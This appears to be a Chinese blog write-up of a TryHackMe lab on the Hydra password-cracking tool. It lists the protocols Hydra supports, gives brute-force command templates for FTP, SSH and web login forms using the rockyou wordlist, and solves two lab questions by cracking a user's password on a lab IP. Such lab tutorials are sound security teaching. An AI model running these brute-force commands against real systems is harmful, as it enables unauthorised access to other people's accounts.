THM-Hydra(九头蛇-密码破解工具介绍)

作者:xiaowu 日期: 分类:xiaowu 浏览:481

Hydra简介

什么是Hydra(九头蛇)?

Hydra是一个暴力在线密码破解程序,一个针对系统登录密码的快速爆破工具。

我们可以使用Hydra运行一个字典并"暴力破解"一些身份验证服务,想象一下试图在特定服务上手动猜测某人的密码(SSH, Web应用程序登录框, FTP,SNMP),使用 Hydra 运行密码字典以确定正确的密码。

Hydra能够尝试暴力破解以下协议:

Asterisk, AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-POST, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTPS-POST, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle监听器, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, RTSP, SAP/R3, SIP, SMB, SMTP, SMTP枚举, SNMP v1+v2+v3, SOCKS5, SSH (v1和v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC以及XMPP等。

有关Hydra中每个协议选项的详细信息,请阅读Kali官方的Hydra工具页面:https://en.kali.tools/?p=220

如果你的密码很常见,不包含特殊字符也不超过 8 个字符,则很容易被猜到。存在1 亿个包含常用密码的字典能够被暴力破解工具使用,因此当开箱即用的应用程序使用简单密码登录时,请务必更改默认密码!某些电子摄像头和 web 框架通常会使用 admin:password 作为管理员的默认账户和密码,这显然也不够强大。

安装Hydra

如果你正在使用 Kali Linux,九头蛇是预装的,如果没有--你可以在这里下载:https://github.com/vanhauser-thc/thc-hydra

Hydra简单使用

暴力破解FTP:

hydra -l <username> -P /usr/share/wordlists/rockyou.txt ftp://<url>

暴力破解SSH:

hydra -l <username> -P /usr/share/wordlists/rockyou.txt <url> -t 4 ssh

暴力破解web表单登录:

hydra -l <username> -P /usr/share/wordlists/rockyou.txt <url> http-post-form "<path>:username=^USER^&password=^PASS^:<invalid_response>"

参数

-l用户名
-p字典
ftp/ssh爆破方式
http-post-form表单类型为POST
<path>登录页面url,例如/longin
username=^USER^&password=^PASS^username和password为表单字段,将指定的username和passworl替换为^USER^和^PASS^
<invalid_response>登录失败时服务器回复中出现的字符串,例如F=incorrect
-v详细输出
-t线程

操作

问题一:使用 Hydra 暴力破解molly的web 密码,什么是flag1?

hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.16.250 http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect" -v

image.png

爆出密码:sunshine

登录url页面得到flag

image.png

问题二:使用 Hydra 暴力破解molly的SSH 密码,什么是flag2?

hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.16.250 -t 4 ssh

image.png

通过ssh登录

ssh molly@10.10.16.250

然后查看文件得flag

image.png


关键词:

网友评论

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。